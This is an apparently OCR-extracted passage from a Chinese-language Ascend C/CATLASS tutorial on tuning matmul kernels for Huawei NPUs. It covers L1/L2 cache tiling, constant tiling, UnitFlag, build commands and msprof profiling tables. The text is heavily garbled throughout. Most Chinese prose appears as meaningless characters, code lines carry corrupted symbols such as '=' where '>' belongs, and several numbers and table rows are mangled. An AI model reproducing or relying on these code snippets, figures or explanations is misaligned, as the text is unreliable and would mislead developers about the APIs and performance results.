iZHY double buffer, TR L1 HhLETF 4 {4 baseM x baseK BIFIEIR, #Rizht ping. pong
BIPXEMANFER

o L1 BREFRNSEHE:
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dbLOA / dbLOB=2

depthA1 / (stepM * stepKa)=2,

depthB1 / (stepN * stepKb)=2

SHENX:

m  dbLOA. dblLOB: 733U A %EFE. B %BFEAY MTET REFE double
buffer (B9 1 8% 2, 2 RRFABWEH)

B depthA1l. depthB1: 3IFRR L1 2 EARRAIDE
stepM. stepKa: 9B A SERHFE L1 sREBTFROSIRIR M 5L baseM f
&%, Ka 7omBAD A 3BP% K 75l L baseK AIfEEN

B stepN. stepKb: BIRR B 1EFEE L1 EFRIFIER N H@ L baseN B9
{521, Kb 75BN B XEB% K 75710 L baseK RIS

L R R R 2

1E1TYIIE:

Jdemo 4 # ZiZ(FEFR MDL &1
python3 ./scripts/verify_resultpy output/outputbin output/golden.bin # I&iFHIHEREHIEH

Running mode: Multi Core MDL

root@df34d4es50a98: /mnt/wenzhigiang/asc-devkit/exa
_result.py output/output.bin output/golden.bin
Total elements compared: 67108364

Total error elements: @

error ratio: 0.8888, tolerance: B8.8818

test pass!

tERESDHT:

| msprof ./demo4  # Zix{FF MDL &tk

BIEFEM R R

Task . . laic_mac| . aic_scal | . : : aicjmte ] aic_fixpi|aic_fixpi
. Block |aicore_ti ; aic_mac_ . aic_scal |aic_mtel t|aic_mte - aic_mte : ]

Duration( _time(pn ] ar_time S |2 time( . |pe_tim |pe_rati

Num me(us) ratio ar_ratio [ime(us) 1_ratio 2 _ratio

Hs) s) (ps) Hs) e(ps) |o

6524.631 |24 8898.664 |6406.1 [0.72 4251.8 |0.478 |4816.271 |0.541 7923.3 |0.89 89.014 |0.01

o

® 1HLLSIRPY, Task Duration M 16538.09us BE{EE! 6524.631us, FERIFE(K 60.55%

® aic_mte2_time M 17316ps F&EZ 7923.3us, MTE2 HMEAHEREAE 54.24%, [EiE

9392.7us
aic_mac_ratio M 31.8%I2FZ 72%

BT MDUEHRB AT ERIATiling: & B2 BL1=E), aIFaniFEE
Tiling2#, H—LIRESVTE2HIREE

¥ 6 2t MDL+ L1Cache {54t ( MULTI_CORE_MDL_L1CACHE )

LB 28 MTE2BIIREDE, ZHFIA L1 EF7=E
i SEIR:

N
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® (M 24 FHTIHE, IDHRIER L (4x6)

e {FF MDLIENR, BA “X&~ MzIhEe

® FEIfiik Tiling %0 depthA1=16, stepKa=8, F=HFIA L1 E1F=3(d
KEHL:

AscendC:Matmul<AscendC:MatmulType<AscendC::TPosition:GM, CubeFormat:ND, AType>,
AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, BType>,
AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, CType>,
AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, BiasType>, CFG_MDL>

matmulObj;

tilingData.set_depthA1(16); // &K depthA1, 1ENN L1 E7FR A ERERIEREL

tilingData.set_stepKa(8);

AL FE:

® L1 Cache Tiling 2#{fift: FahE% depthA1 F stepKa 2, ZHFIA L1 E7F
B HFifEcE: depthA1=16, depthB1=8, baseM=128, baseN=256, baseK=64
B L BESAHE:

A %B[%: depthA1 x baseM x baseK x sizeof(float16) = 16 x 128 x 64 x 2B =
262,144B = 256 KB

B ¥8f%: depthB1 x baseN x baseK x sizeof(float16) = 8 x 256 x 64 x 2B =
262,144B = 256 KB

ST 256 KB + 256 KB =512 KB

1IZ1TYGIIE:

.Jdemo 5 # 24 MDL + L1Cache it
python3 ../scripts/verify_result.py output/outputbin output/golden.bin # I&iFiaH4ER 2 IEH

Running mode: Multi Core MDL L1Cache
root@df34d4e50a98: /mnt/wenzhigiang/asc-devkit/ex
_result.py output/output.bin output/golden.bin
Total elements compared: 67103364

Total error elements: @

error ratic: 9.0886, tolerance: 8.0018
test pass!

MRS
| msprof ./demo5 # Z#Z MDL + L1Cache {ftit
BIRF B4R N RN

Task . . laic_mac| . aic_scal | | : ) aic_mte| . aic_fixpi|aic_fixpi
. Block |aicore_ti ) aic_mac_ : aic_scal |aic_ mte1_t |aic_ mte : aic_mte : :
Duration( _time(u| ar_time | . 12_time( . |pe_tim |pe_rati
Num me (lLs) ratio ar_ratio [ime(ps) 1_ratio 2_ratio

Hs) s) (ps) Hs) e(us) |o
5389.748 (24 7256.463 |6335.1 |0.873 2761.3 ]0.381 5221.454 |0.72 6972.3 10.961 89.85 |0.012
Z\ .
yaXi

® 1Btk IE R, Task Duration M 6524.631us f&(%Z! 5389.748us, FERIPE(E 17.39%
® aic_mte2_time M 7923.3us PEEE 6972.3pus, MTE2 HIzAIEIFHE T 12%
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aic_mac_ratio M 72%32 87.3%, cube FIFEZIEHT 21.25%
® [SEMEAAE: aic_mte2 ratio A% 96.1%, 1£Z MTE2 bound, Fot4AEIEFHIRZR,
LB L2Cache LI4ERE MTE2 bound
I8 7 24 MDL+ L1Cache + L2Cache ( MULTI_CORE_MDL_L1CACHE_L2CACHE )

it BR: BH L2Cache ffift, 2Bf# MTE2 bound
PO SEE:

{#F8 24 #ZFITIHE, 195%E8E L (4x6 )

{EF MDL &R FA4L L1 Cache S2H(E E

[EF3 L2Cache, Xt A %5F% M i Tt
KA

for (inti=0;i<2; i++){
matmulObj.SetTensorA(aGlobal[offsetA + i * (M >> 1) * K], IS_TRANS_A);
matmulObj.SetTensorB(bGlobal[offsetB], IS_TRANS_B);
if (shapes.isBias) {
matmulObj.SetBias(biasGlobal);

}
matmulObj.IlterateAll(cGlobal[offsetC +i* (M >> 1) * N]);

MAFEER:
® [SFH L2Cache {fi{:
€ L2Cache 4F5: L2Cache 2 Al Core HE=94MEMETE, L2Cache BUAISER 354879 GM
93 %415, ERASREEREIESBERT, A0 L2Cache WAYEELL GM BE1IR
& ZEfFmPii: BEIELEGYP L2Cache, BHEEAD GM HHTIZE, H5af M
TR, S MTE2 oJgep ot FIEE N TId F2hAYMEEERaR
& PHRITENERD L2Cache: @il L2Cache A/NA 192MB, $EMRTEFFEHIESE
384MB (A 4B65%& 128MB + B %5%& 128MB + C %84 128MB), HF L2Cache BE/\F4E
Mt EHIESE, EILrILOE A 80T M MitIo Rk 2 10, HEPXiE 1 5 B (6% 55T
BizE, Xif2B5 B EE=M=EizE, Bid)HRS LR2cache HIap R
SRTELERE L2Cache ~EE:

A1 (64MB) Gl

BAER%F
X (128MB)

A2 (64MB) @

4096x8192 4096x8192
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TEIgRE:
Step 1: C1 = A1 xB (A1 A GM Ji#kZ! L2Cache, B M GM fiEkZE! L2Cache F3+ER)
Step 2: C2= A2 x B (A2 )\ GM fi0&ZE] L2Cache, B B7E L2Cache 1, FTEEFINE)

L2Cache FHA:

- B %E[% ( 128MB ) #£ Step 1 NNEk/E3EEE7E L2Cache

- Step 2 1 B BFFE#EM L2Cache 1ZEY, B#%8 GM 1f(d)

- BR L2Cache i51awE84979 GM B9 3 &l 4 {5, EEIRFHHIFIE

IZ1TIGIE:

Jdemo 6 # 2% MDL + L1Cache + L2Cache
python3 ./scripts/verify_result.py output/outputbin output/golden.bin # I&iFHIHERE S IEH

Running mode: Multi Core MDL Ll1Cache L2Cache
root@df34d4e50a98: /mnt/wenzhigiang/asc-devkit/ex:
_result.py output/output.bin output/golden.bin
Total elements compared: 67108264

Total error elements: @

error ratio: 0.00888, tolerance: 8.8818

test pass!

tEREDHT:

| msprof ./demo 6 # £Z#% MDL + L1Cache + L2Cache

BIEF Rl R

Task : . laic_mac| . aic_scal | . : ) aic_ mte| | aic_fixpi|aic_fixpi

; Block |aicore_ti : aic_mac_ g aic_scal [aic_mtel_t|aic_mte ; aic_mte ; :
Duration( _time(p ar_time 2_time( pe_tim |pe_rati
iis)

ratio ar_ratio |ime(pus) 1 ratio 2 ratio
5383.247 (24 7213.106 (6335.1 |0.878 34025 (0.472 |5264.083 |0.73 6773.2 (0.939 [90.406 |0.013

5) (1) pis) e(us) |o
o

FBEL TS, Task Duration M 5389.748us [&{%Z! 5383.247us, F&(K T 6.50us
aic_mte2_time M 6972.3us f&{KZI 6773.2us, MTE2 HHZEAHEIFEK T 2.9%
aic_mac_ratio M 87.3%312F %l 87.8%

BEMAME: HaslZfEEItEaea9{3)9 MTE2 bound, BIEI{fAL L2Cache HILIHEE
BESS MTE2 it—E1ft{k -

Num me(ps)

IR 8 Z# MDL + L1Cache + L2Cache + Constants Tiling
( MULTI_CORE_MDL_L1CACHE_L2CACHE_CONSTANTS )
LB EREE Tiling, RMNZ1TAS Scalar itEFHH
#OSEEL:
{FF 24 iZHTHE, 1H5EE L (4x6 )
{88 MDL f&2iRFf1L L1 Cache S¥E L
L2 Cache ZRRERE £
{EEE Tiling £EFEEL
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constexpr MatmulShapeParams shapeParams = {SINGLE_M_L2CACHE, SINGLE_N, SINGLE_K, BASE_M,
BASE_N, BASE_K};

constexpr static auto CONSTANT_CFG = GetCustomConstantCFG<A_TYPE, B_TYPE, C_TYPE, BIAS_TYPE,
true, true>();

AscendC:Matmul<A_TYPE, B_TYPE, C_TYPE, BIAS_TYPE, CONSTANT _CFG> matmulObj;
// CONSTANT_CFG fE4miFERIHE, F/E ThT Scalar it&

MEFE:
® Tiling EE1k:
¢ Al Core FUIEHUBETOE/EEHTIHE, mBEEREREREHEESI. Matmul

AP EFIRAFIEIIEH B KR E Scalar 118, Matmul #854RTAY Scalar 1+E&2200
FESSLFF, Matmul i&(ERY Scalar ISR EEFHZE MTE2 77K

& 5 Tiling B MEfTRIFE: (B MatmulApiStaticTiling 2##& TCubeTiling &=
24, B Scalar ItEIERIZIRIFHANT, IB1TIIAFEEY Scalar BroalSitE, &
> Scalar tEREFHH

11T :

./demo 7 # Z41% MDL + L1Cache + L2Cache + Constants Tiling
python3 ./scripts/verify_result.py output/outputbin output/golden.bin # I&iFHIHERE R IEH

Running mode: Multi Core MDL Li1Cache L2Cache Constant Tiling
root@df34d4e50a98: /mnt/wenzhigiang/asc-devkit/examples /01 _simd cf
result.py output/output.bin output/golden.bin
Total elements compared: 67103864

Total error elements: 0

error ratio: 0.9800, tolerance: 8.0818

test pass!

PR :

| msprof ./demo7 # 24 MDL + L1Cache + L2Cache

B BRI RN

Task ; . |aic_mac| . aic_scal | . ‘ : aic_mte| . aic_fixpi|aic_fixpi
. Block |aicore ti ) aic_mac_ : aic_scal |aic_mte1 _t|aic_mte : aic_mte : :
Duration( _time(u| ar_time | . 12_time( . |pe_tim |pe_rati
Num me(us) ratio ar_ratio [ime(ps) 1_ratio 2 ratio

Hs) s) (ps) Hs) e(ys) |o
5380.367 (24 7209.549 (6334 |0.879 1942.6 |0.269 |5260.781 |0.73 6814.4 (0.945 [90.564 [0.013
o

® 1HLLEIE, Task Duration M 5383.247us #{EZ! 5380.367s

® aic_scalar_time M 3402.5us FEEZE 1942.6ps, BFHE 42.91%
(]

FEE8 Tiling BYUEY T Scalar BRTHIMREFTH. Z#£6IR Scalar [EEMRERZERT, FBF
AE@IdiZ 5 TP Scalar BE) SEb

o EEfMTE: FFA UnitFlag fift, B THITESIRIERK
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£I® 9 Z# MDL+ L1Cache + L2Cache + Constants Tiling + UnitFlag

( MULTI_CORE_MDL_L1CACHE_L2CACHE_CONSTANTS_UNITFLAG )

AL BtR: BH UnitFlag (16, FHTCITESKRIZRX
1O SEER :

{FF 24 ZFHITIHE, PHRIEEL (4x6)

{#F MDL t&1RFLIL L1 Cache SEE L

L2 Cache 5RgRE £

{Fge Tiling £ EFEME L

[EF UnitFlag, (GITBESHRIZRIFHITE

KRS

// {EH constexpr EXmiFHIESE, FFH UnitFlag
MatmulConfig mmCFG = GetMMConfig<MatmulConfigMode::CONFIG_MDL>(shapeParams);
mmCFG.enUnitFlag = true;

RAFER:
® SH UnitFlag fift:

& RGTESKRIEFHTE: KB UnitFlag IHEERT, AIC#ZAY MMAD i+E35<5F0
FIXPIPE HUEMIEISSR2IESHRAINEL, FIXPIPE 155 EES MMAD 15875 A
1TE5ERKE , MMAD F FIXPIPE Z[a)iizk&1T; FFRE UnitFlag Ih&EfE, MMAD #l1
FIXPIPE 2 512B K/NWYBRIERIE, £—5% MMAD 1I5SHiTidied, 84—
512B #URBLERANTE, FIXPIPE SZEMIkH1Z 512B HIEWE, MUSEIL Cube &0
FIXPIPE iz R TTim/KF 1T

UnitFlag THeE~EE:
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PIPE_M 20488
PIPE_FIX 2048B

BeREE
PIPE_M 512B 5128 5128 5128
PIPE_FIX 5128 5128 5128 5128

512BiEII EE &
IETHIIE :
.Jdemo 8 # %% MDL + L1Cache + L2Cache + Constants Tiling + UnitFlag

python3 ../scripts/verify_result.py output/outputbin output/golden.bin # I&iFiHEREFIEHR

0.0000,

2]
tolerance: @

.0e10

Running mode: Multi Core MDL Ll1Cache L2Cache Constant Tiling Unitflag

o ' Jasc-devkit/examples/01 simd cpp_api,
_result.py output/output.bin output/golden.bin
Total elements compared: 67103364
Total error elements:
error ratio:
test pass!

tEREDHT:

| msprof ./demo 8 # £Z#% MDL + L1Cache + L2Cache

B 2RI RN

Task . . |aic_mac| . aic_scal | | : ) aic_mte| . aic_fixpi|aic_fixpi
; Block |aicore_ti : aic_mac_ : aic_scal |aic_mtel_t |aic_mte " aic_mte ] A

Plgtions Num me (s) time (u ratio Pl ar_ratio |ime(us) 1 ratio S himsl 2 ratio B e B T

Hs) s) (ps) = B Hs) = e(us) |o

|5337.247 24 7159.929 |6332.3 |0.884 2097.4 [0.293 |5261.024 |0.735 6779.6 |0.947 |546.47 [0.076

o

® 1HELZEIE/\, Task Duration M 5380.367ps FE{EZE 5337.247us

® aic_fixpipe_time M 90.564ps 125! 546.476ps, JREJIFZ Unitflag f5,

aic_fixpipe_time £82 FIXPIPE {5SHEFYE, HARHEIETVKARERS, BAFRIXE
inElin e R IR
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o IEItREWEBYIRIREAFILIERERYII /9 MTE2 bound, &FHJ MMAD. FIXPIPE 7
7K#E MTE2 bound #25 , &l FIXPIPE PHEEM4AEERZERT, AI/FA UnitFlag Thak

R 3 Al Core STERIMY (LLULHTFaNEBR. ThikE HBERARME ) it
aicore_time FIEARER, FREINSE,

SEMUR:

cube FIFAFRIEHT 72.4%(16% - 88.4%), BEiAZETHIEESEIAY 88.4%

BE LR ISR NANBHMI, HFEHRERITEIEIX 99.31%(777587.7us — 5337.247ps)
AR

MNIEFHG : SEfhF SR E bt R ARSI TREIERf 14

BEMAL: 1RER case IFERLS I NMAHTFER, MERIERER

SIZINDERE: SELESIRHRE, BREtIbGE)

FA MDL #3(: MDLIEZIRM T SEMICAISEEL, 5EER

L2Cache: L2Cache BEift—4E#R MTE2 bound, MFEESISENHISIRESER
FE Tiling: XTFERE shape B985, FRAFEE Tiling /&’ Scalar iz17HIFHE
UnitFlag ffift: [EFE UnitFlag ATLAFH TG E SRSV

2.2.4 BEZE

IRESZFTIHERXEABRZE?
% tilingApi.SetDim(24);

2.3 LIS/ N\

AL FEBIET Ascend CRIFIES, BIIXT matmul EFIERESRIZL, FLEER
Ascend C FFA SRR FAIRIS .
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HTF CATLASS EREFASF

3.1 LIS/ 48

3.1.1 XFARLLE
1BIZ{EH CATLASS &tk Ef I T EfEzEE A

3.1.2 SCEG HAY
E1Z2(HF CATLASS TR E AT A,

3.1.3 SCIG#%

BIAREImMBAREE, R TEFFAF I,
3.2 SCOGR(E
3.2.1 TR

LI 1 FEIRBESD

| cd /mnt/xxx/ops_development

{EBE CANN IR1S:

# BUARERZE, L root BRI (3E root BB, ¥§/usr/local B A${HOME} )

source /usr/local/Ascend/ascend-toolkit/set_env.sh

|2 BFEE
EARERER:

cd ./catlass
bash scripts/build.sh 00_basic_matmul -DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-
beta.1/aarch64-linux/bin/bisheng -DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3 # &

EEFAH, XBUEAEMRE T4

B TRMERER, WimEIN:
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- CMAKE_ASCEND COMPILER /usr/local/Ascend/ascend-toolkit/latest/compiler/ccec_compiler/bin/bisheng
- Ascend Compiler Information:
:lang version 15.0.5 (clang-5c68alcb1231 flang-5c68alcb1231)
Target: aarch64-unknown-1linux-gnu
Thread model: posix
ImstallPder Jusr/local/Ascend/ascend-toolkit/latest/compiler/ccec_compiler/bin
CMAKE CURREN _LIST_DIR: /mnt/wenzhigiang/catlass/cmake/modules
- The CXX compiler identification is GNU 11.4.0
- Detecting CXX compiler ABI info
- Detecting CXX compiler ABI info - done
- Check for working CXX compiler: /usr/bin/c++ - skipped
- Detecting CXX compile features
Detecting CXX compile features - done
Detectod NPU _MODEL: Ascend910B3
CMake Wz 1 MakeL1sts.txt:4S

NOT build python extension, skip python related dependencies check.
- Configuring done
- Generatlng done
- Build files have been written to: /mnt/wenzhiqiang/catlass/build
[ 50%] Eu\ld ing ASCEND object ~<dﬂp1~5 /60_bas ic_matmul/ /CMakeFiles/00 _basic_matmul.dir/basic_matmul.cpp.
[100%] Linking CEND executable ¢ b::,,i“—f L
[100%] Built target 00_basic matnul
- Install configuration: "Release"
- Installing: /mnt/wenzhigiang/catlass/output/bin/00_basic_matmul
[INFO]JTarget '00_basic_matmul' built successfully

L', 3 EFMT

BFIRIFFYITE output/bin BEET, t)J?ﬁ'eﬂZEiT_J“’T%ﬁﬂmf LA
[basic_matmul#f9fl, mhEE FMESHITZET

# IRERFFPER

cd output/bin

# ./00_basic_matmul m n k [deviceld]
./00_basic_matmul 256 512 1024 0

o 256, 512, 10245BIRAEMSRENGEME. i, KIS0 (72/EIENSHURNENILE
)

o deviceld it (BiAN0) , HERENPUSHIDS (BRATT—kk, HAHCHSE
FEBOBMAT )

PITZEFHAE, MBI FHAERNRBEHEFSHEEIER (1Z4#6)F Matmul BYZ.
AIEREERMEUET, BB cpuitENE) .

/catlass/output/bin# ./00 _basic_matmul 256 512 1024 ©

Compare success.

XIHBEHBIIMEIE S, HLALEEREARRY catlass fRiFFHAITHR(E

3.2.2 Catlass A EE IRtk ERFHT

Catlass @idH EEHYLANRITHES, BT GEMM EF4RE, A ERIFAREER.
Catlass EIRERD BN TEATR, BIREBSE Kernel B4 S Block FEERFN Block fZ4k
B, AEF Host iEECEs T ISR MIZ . PP ERIXLLBHARIZAY, BEEIIIA
'FJIIDﬁF" 5&1§Jﬂ$o

ZEPTEERY Block ZE7EAFD Block /bR,
2. 4%—} Blocks A& E—H#CHIiERY Kernel,
3. FH Device i&fcest 2 Kernel,
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[
iﬁmED DeVice -
;mi.l-ﬁ Kernel m m “ -
L
[E]/E AICORE 2244:
AIC
—{ MTE2[ —»
T ®
& 4 MTE3[ —
< +
)
——( MTE2[ —*
———( MTE3[ —

ASSUEIAMERT(#EAAY 00_basic_matmul EF/9fl, i5BA Catlass AHAVESTTE . BILA
EIELEEN T -EEMSHER, SF ABC IEMFHISUESBFIHERIER, L1, L0 9D
Tile Shape, XECSEERLMERSEAISA RAEN BlockMmad iX—ERtEEREEAY Block, S
2B %5 Kernel 0 Device B2,

cd././

cd ./Jexamples/00_basic_matmul
vi basic_matmul.cpp # EEEFHKI
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// Get the number of cube cores of the current hardware
auto aicCoreNum = platform_ascendc::PlatformAscendCManager::GetInstance()->GetCoreNumAic();

using ArchTag = Arch::AtlasA2;
using DispatchPolicy = Gemm::MmadAtlasA2Pingpong=true=;
using L1TileShape = GemmShape<128, 256, 256=;

using LBTileShape = GemmShape<128, 256, 64=;

using AType = Gemm::GemmType<ElementA, Layoutds=;
using BType = Gemm::GemmType<ElementB, LayoutB=;
using CType = Gemm::GemmType<ElementC, LayoutCs;

using BlockMmad = Gemm::Block::BlockMmad<DispatchPolicy, L1TileShape, LO8TileShape, AType, BType, CType=;
using BlockEpilegue = woid;

// Swizzle offset is 2 and direction is @.
using BlockScheduler = typename Gemm::Block::GemmIdentityBlockSwizzle<3, 0=;

// kernel level

using MatmulKernel = Gemm::Kernel::BasicMatmul<BlockMmad, BlockEpilogue, BlockSchedulers;
using MatmulAdapter = Gemm::Device::DeviceGemm<MatmulKernel=;
s A . N .
SR ESCH#E, ABRMAwWgIERHE vi.
AAL T5Z «
MU RERE

[l —=: BIEEFTFEAYFK block B mmad

/] RS L1/L0 DIRERRE. A/B/C AEFEEIEE IR HIBER
using DispatchPolicy = Gemm:MmadAtlasA2Pingpong<true>;
using L1TileShape = GemmShape<128, 256, 256>;

using LOTileShape = GemmShape<128, 256, 64>;

using AType = Gemm:GemmType<ElementA, LayoutA>;
using BType = Gemm:GemmType<ElementB, LayoutB>;

using CType = Gemm:GemmType<ElementC, LayoutC>;

using BlockMmad = Gemm::Block::BlockMmad<DispatchPolicy,
L1TileShape, LOTileShape,
AType, BType, CType>;

/] B 187 block BRIEALIEEE! ( ATk )
using BlockEpilogue = void;

[l B=F: EEHERNBEEMS

using BlockScheduler = typename Gemm::Block:GemmldentityBlockSwizzle<>;

/] EPE: £ kernel B4& mmad FISMEAEEE—i#2
using MatmulKernel = Gemm::Kernel::BasicMatmul<BlockMmad, BlockEpilogue, BlockScheduler>;

/| ERE: 15 kernel B device iEEEEEH, host (IR kernel {8
using Matmul = Catlass:Gemm::Device:DevicecGemm<MatmulKernel>;

3.2.3 Catlass EF4REAIL

XEBUA—NRGn s TIERER R AR A TR, (RINBE K& BIhE—MERE
FRIHE S m=20, k=6144, n=2112, BIFEFAMER LA Catlass EHrZEHAY basic_matmul
BFHTHRELER

{EFRELIARY L1/L0TileShape, R msprof M4EeRET ESREE FI4RE,
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us{r; L1TileShape = GemmShape<128, 256, 256>;

using LOTileShape = GemmShape<128, 256, 64>;

DispatchPolicy = Gemm::MmadAtlasA2Pingpong<true>;

5301

cd ././output/bin # IRFIRIBLIRERIHITIER
msprof op --application="./00_basic_matmul 20 2112 6114 0"

EITRINETITMER

[ ] The optien "--application" will be

[InFO] op profiling analysis start.
[INFO] Running device task: DeviceProf

= Warm Up enabled. times:5

[INFO] Profiling running finished. All task success.

[INFO] Save profiling data with metric [L2Cache] success.
[INFO] Save profiling data with metric [Memory] success.

[InFO] Save profiling data with metric [Memoryl®] success.
[INFO] Save profiling data with metric [MemoryUB] success.
[INFO] Performance Summary Report:

lwidth utilizatien lower than 20% when active.
lwidth utilization lower than 80% when active.
lwidth utilization lower than 80% when active.
mpute usage lower than 20%.

[InFO] Profiling data parse finished.
[INFO] oOp profiling finish. Welcome to next use.

[INFO] Save profiling data with metric [ResourceConflictRatic] success.

in future version. It is recommended to specify <app> [
[ ] currently, the root permission is used, which 1is unrecommended. Please ensure the security of the exe

:art profiling on device 8, kernel: _ZN7Catlass13KernelAdapterINS 4Gemm6KernelllBasicMatmulINS1_S5Elock9BlockMm

._8GemmTypeIDhNS_6layout8RowMajorELN7AscendCOTPos it lonEBEEESG_SG_vN51_4Tile8TileCopyINS_4Arch7AtlasA2ESG_SG_SG

[INFO] Start analyze kernel on device: device®, kernel: _ZN7Catlassl3KernelAdapterINS_4GemmGKernelllBasicMat
[INFO] Save profiling data with metric [PipeUtilization] success.
[INFO] Save profiling data with metric [ArithmeticUtilizatien] success.

[INFO] Profiling results saved in /mnt/wenzhigiang/catlass/output/bin/OPPROF_20260327075018 UFRKGVVZIFFWUZDP

ER—MEREICR XS

] Jfcatlass/output/bin# s
@@_baSic_Watwul OPPROF_20260327073015 UFRKGVVZIFFWUZDP

PEREEUE S SEE B :

|—dump
|—Arithmeticutilization.csv
|—L2cache.csv

|—#Memory. csv

[—emoryLe. csv
|—#emoryue. csv
|—opeasicInfo.csv
|—pPipeutilization.csv

L —ResourceconflictRatio.csv

XEBFEEFE PipeUtilization.csv 314,

[ A B C D E F G H I K L M N o P

Ibluck d !subiblocki aic_time(usaic_total_cyaif cube_tiaic_cube_riaic_scalar_iaic_scalar_raic_mtel_t aic_mtel r aic_mte2_t aic_mte2_r aic_mte3_t aic_mte3_r aic_fixpipe aic_fixpipe
0 cubed 72.396667 130314 |p.078333 0.125397 14.06 0.194208 15.352777 0.212065 70.318886 0.9713 0.001111 0.000015 2.962222 0.040917
1 cubed 72.836113 131105 §9.102222 0.124969 14.221111 0.195248 15.397778 0.211403 70.633838 0.969765 0.001111 0.000015 3.027222  0.041562
2 cubed 73.44722 132205 J9.089444  0.123755 14.239445 0.193873 15.363889 0.209183 71.106667 0.968133 0.001111 0.000015 2.852778 0.038841
3 cubed 73.809998 132858 JB.091111 0.12316% 14.547778 0.197098 15.341111 0.207846 71.314445 0.966183 0.001111 0.000015 2.636667 0.035722
4 cubed 73.886108 132995 |9.088839 0.123012 1475 0.199632 15.376111 0.208106 71.149445 0.962961 0.001111 0.000015 3.07 0.04155
5 cubed 72.96611 131339 |9.102222 0.124746 14.745 0.20208 15.350555 0.210379 70.075554 0.960385 0.001111 0.000015 2.903233 0.03979
6 cubed 71.186668 128136 9.085 0127622 14.452778 0.203026 15.386666 0.216145 68.713333 0.965256 0.001111 0.000016 2.865 0.040246
7 cubed 69.860558 125749 |B.086667 0.130069 14.604445 0.209051 15.390555 0.220304 67.337776 0.963888 0.001111 0.000016 3.082778  0.04412§
ch 2. 216101 1849 _JB.462222  0.086737 14.65 0.36702 5.548889 0.139014 37.836666 0.947905 0.001111 0.000028 1.503889 0.037676

9 cubed 0.853444 1547 0 0 1.514444 1.76212 0.002778 0.003232 0.002222 0.002586 0.001111 0.001293 0.000556 0.000646
10 cubed 1.677778 3020 0 0 1.481667 0.883113 0.002778 0.001656 0.002222 0.001325 0.001111 0.000662 0.000556 0.000331
11 cube0 0.802778 1445 0 0 1.553889 1.93564 0.002778 0.00346  0.002222 0.002768 0.001111 0.001384 0.000556 0.000692
12 cubel 0.868333 1562 0 0 0.635556 0.731926 0.002778 0.003199 0.002222 0.002559 0.001111 0.00128  0.000556 0.00064
13 cubel 1.126667 2028 0 0 0913333 0.810651 0.002778 0.002465 0.002222 0.001572 0.001111 0.000986 0.000556 0.000433
14 cube0d 1.322222 2380 0 0 0.985556 0.745378 0.002778 0.002101 0.002222 0.001681 0.001111 0.00084  0.000556 0.00042
15 cubed 1.167778 2102 0 0 0.962778 0.824453 0.002778 0.002379 0.002222 0.001503 0.001111 0.000951 0.000556 0.000476
16 cubed 1.058889 1906 0 0 1.074444 1.0146% 0.002778 0.002623 0.002222 0.002099 0.001111 0.001049 0.000556 0.000525
17 cubed 1.391111 2504 0 0 1.007222 0.724042 0.002778 0.0015997 0.002222 0.001557 0.001111 0.000799 0.000556 0.000399
18 cubel 1.326111 2387 0 0 1.076667 0.811898 0.002778 0.002095 0.002222 0.001676 0.001111 0.000838 0.000556 0.000419
19 cubel 1.138889 2050 0 0 1.096111 0.96243% 0.002778 0.002439 0.002222 0.001851 0.001111 0.000976 0.000556 0.000438

BB IR E FIHREL 72.54us, MREM Profiling
ly, FARTEMAH 20 4 Cube 1%, FIEZIEIGREIREARTHED

HIERJLIBENR(ERE T 9 1 Cube

o
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RALFEE—: L1TileShape iEHf
FERMEREFIIDIZIZIE., A TINSEFF T, FEREMEURETIS, DERIAE

A9RZ L ITAME,
o YFARERE, REMIMHTIID, YDk HEIsingleCoreM, Btz E4MESingleCoreM *
KA/DNBOEE -

® YIFBXE[E, IBENMHTIID, ToMZSHATsingleCoreN, BiZ FAMEK *
SingleCoreNA/N\EI%E .

K N N

coreQ

singleCoreM P

M | cored | core5

core6 | core7

singleCoreN

EFAY singleCoreM X3 R 7t EEEFHAY L1TileShape:M, singleCoreN MIXIRZ ¥
L1TileShape:N, 7ZEEUABR FEERIRE 128 #1256, 25 AL B %E05H9 M 0 N FEEAFEEpRAT
e EEREE, BRA, afBld AFERE=IDE M ikt 79 20/128=1 1R, B iEM=IGE N 4K
79379 2112/256=9 R, SHFEE 1*9=9 4 Cube #ZFKZAITE, IHIMEEEE 9108 EAI LI
KNS 512KB, BEIXRELTE L1 EFFE PingPong Buffer, EIILHATEZEIT L1TileShape:K 3k
=HlBZ FERIREE L1 ERYSUES.

TR TSRS ZER, 7MY M BRIy, BBAYE L1TileShape:M RYEHIZERT
Ih—LE, XAETE L1 512KB K/NBRFIT, BILAKS L1TileShape:K &K, L1TileShape:N i\,
#1545 B B[00, REHEE Cube UERREDECEITEES

B404% L1TileShape:M/N/K 9BIi&EH 32/112/512, 18K
catlass/examples/00_basic_matmul 3{4327AY basic_matmul.cpp:

using DispatchPolicy = Gemm: Mmad.ﬂ\tlasA2P1ngpong~:true -
using L1TileShape = GemmShape<=32, 112, 512=

using LOTileShape = GemmShape=32, 112, 12{=;

using AType = Gemm::GemmType<ElementA, LayoutAs=;

using BType = Gemm::GemmType=ElementB, LayoutB=;

using CType = Gemm::GemmType<ElementC, LayoutC=;

using BlockMmad = Gemm::Block::BlockMmad<DispatchPolicy, L1TileShape, LOTileShape, AType, BType, CType=;
using BlockEpilogue = void;

AT EHERMIEEENIERTEML tiling 5REE, ZR1EE_L755RF! LOTileShape:M ==
L1TileShape:M. LOTileShape::N == L1TileShape::N R EASEIE, FEFFIRE
LOTileShape:K==1/4 L1TileShape:K (EH L0 K/\f 64K ) .




S

HUAWEI

CANN B LIS T 32|

EmEE AN

cd././
bash scripts/build.sh 00_basic_matmul -DCMAKE_ASCEND_COMPILER=/usr/local/Ascend/cann-9.0.0-
beta.1/aarch64-linux/bin/bisheng -DPython3_EXECUTABLE=/usr/local/python3.11.15/bin/python3

Y e ey =1 / / /

[ /). el o T T .f‘ A it

PR ey AE o et ] [

i GG L5 e Yot i [ f i A e § /

[INFO]Building target: B0 _basic_matmul.

Detected NPU_MODEL: Ascend910B3

CMake Warning at CMakeLists.txt:45 (message):
CATLASS_ARCH is not defined, use default value "2281"

NOT build python extension, skip python related dependencies check.
-- Configuring done

-- Generating done

-- Build files have been written to: /mnt/wenzhigiang/catlass/build
Consolidate compiler generated dependencies of target 00 _basic_matmul
[ 50%] Building ASCEND object examples/@0 basic matmul/CMakeFiles/00_basic_matmul.dir/basic_matmul.cpp.o
